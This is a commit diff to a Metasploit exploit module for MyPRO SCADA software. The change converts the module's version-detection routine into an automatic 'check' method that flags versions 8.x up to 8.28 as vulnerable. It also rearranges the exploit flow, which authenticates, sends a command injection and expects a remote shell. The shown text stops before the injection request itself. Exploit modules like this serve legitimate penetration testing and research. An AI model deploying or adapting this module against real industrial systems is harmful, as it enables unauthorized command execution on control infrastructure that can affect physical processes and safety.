Updated the module to take advantage of the check method

Author: h4x-x0r

modules/exploits/windows/scada/mypro_cmdexe.rb

@@ -1,7 +1,7 @@
 class MetasploitModule < Msf::Exploit::Remote
   Rank = ExcellentRanking
   include Msf::Exploit::Remote::HttpClient
-  include Msf::Exploit::CmdStager
+  prepend Msf::Exploit::Remote::AutoCheck
 
   def initialize(info = {})
     super(
@@ -60,63 +60,63 @@ def initialize(info = {})
     )
   end
 
-  def exploit
-    connect
-    case target['Type']
-    when :win_fetch
-      execute_command(payload.encoded)
-    end
-  end
-
-  def execute_command(cmd, _opts = {})
-    print_status('Checking MyPRO version...')
-    check_version
-    print_status('Checking credentials...')
-    check_auth
-    print_status('Sending command injection...')
-    exec_mypro(cmd)
-    print_status('Exploit finished, check thy shell.')
-    handler
-  end
-
   # Determine if the MyPRO instance runs a vulnerable version
-  def check_version
-    res = send_request_cgi({
-      'method' => 'POST',
-      'uri' => normalize_uri(target_uri.path, 'l.fcgi'),
-      'vars_post' => {
-        't' => '98'
-      }
-    })
-
-    unless res
-      fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
-
+  def check
+    begin
+      res = send_request_cgi({
+        'method' => 'POST',
+        'uri' => normalize_uri(target_uri.path, 'l.fcgi'),
+        'vars_post' => {
+          't' => '98'
+        }
+      })
+    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError
+      return CheckCode::Unknown
+    ensure
+      disconnect
     end
+
     if res && res.code == 200
       regex = /\{.*\}/m
       json_body = res.body[regex, 0]
       data = JSON.parse(json_body)
       version = data['V']
       if version.nil?
-        fail_with(Failure::Unknown, 'Version missing from server response.')
+        return CheckCode::Unknown
       else
-        print_good('Version retrieved: ' + version)
+        vprint_status('Version retrieved: ' + version)
       end
 
       parts = version.split('.')
       major = parts[0]
       minor = parts[1]
       if major.to_i == 8 && minor.to_i <= 28
-        print_good('Version is vulnerable.')
+        return CheckCode::Appears
       else
-        fail_with(Failure::NotVulnerable, 'Version is not vulnerable.')
+        return CheckCode::Safe
       end
     else
-      fail_with(Failure::Unknown, 'Unexpected server response received.')
+      return CheckCode::Unknown
     end
   end
 
+  def exploit
+    connect
+    case target['Type']
+    when :win_fetch
+      execute_command(payload.encoded)
+    end
+  end
+
+  def execute_command(cmd)
+    print_status('Checking credentials...')
+    check_auth
+    print_status('Sending command injection...')
+    exec_mypro(cmd)
+    print_status('Exploit finished, check thy shell.')
+    handler
+  end
+
   # Check if credentials are working
   def check_auth
     res = send_request_cgi({